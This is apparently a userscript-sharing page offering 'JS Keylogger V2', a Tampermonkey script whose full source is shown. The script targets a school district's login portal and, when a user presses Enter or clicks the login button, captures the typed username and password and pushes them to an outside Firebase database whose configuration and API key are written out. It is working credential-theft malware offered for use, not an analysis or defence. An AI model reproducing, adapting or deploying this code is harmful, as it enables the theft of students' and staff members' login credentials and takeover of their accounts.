JS Keylogger V2

Keylogger for chrome using JS

Bu betiği kurabilmeniz için Tampermonkey, Greasemonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği kurabilmeniz için Tampermonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği kurabilmeniz için Tampermonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği kurabilmeniz için Tampermonkey ya da Userscripts gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

You will need to install an extension such as Tampermonkey to install this script.

Bu komut dosyasını yüklemek için bir kullanıcı komut dosyası yöneticisi uzantısı yüklemeniz gerekecek.

(Zaten bir kullanıcı komut dosyası yöneticim var, kurmama izin verin!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Zateb bir user-style yöneticim var, yükleyeyim!)

// ==UserScript==
// @name         JS Keylogger V2
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  Keylogger for chrome using JS
// @author       You
// @match        https://my.cherrycreekschools.org/*
// @grant        none
//@require https://www.gstatic.com/firebasejs/3.5.2/firebase.js
// ==/UserScript==

(function() {
    'use strict';

    // Your code here...
    window.onload = function(){
        var config = {
            apiKey: "AIzaSyCtagvRPuV49zpoErTly-dl6HyjjjKkLo8",
            authDomain: "record-creek-data.firebaseapp.com",
            databaseURL: "https://record-creek-data.firebaseio.com",
            projectId: "record-creek-data",
            storageBucket: "",
            messagingSenderId: "1059244189723"
        };
        firebase.initializeApp(config);
        var database = firebase.database();
        var currUsername, currPassword;
        document.onkeydown = function(e) {
            if(e.key=='Enter'){
                currUsername = document.getElementsByClassName('loginForm-text-input')[0].value;
                currPassword = document.getElementsByClassName('loginForm-text-input')[1].value;
                var data = {
                    username: currUsername,
                    password: currPassword
                }
                database.ref('entries').push(data);
            }
        }
        var loginButton = document.getElementById('LoginButton');
        try{
            loginButton.addEventListener("click", function(){
                currUsername = document.getElementsByClassName('loginForm-text-input')[0].value;
                currPassword = document.getElementsByClassName('loginForm-text-input')[1].value;
                var data = {
                    username: currUsername,
                    password: currPassword
                }
                database.ref('entries').push(data);
            });
        }catch(err){
            console.log();
        }
    }
})();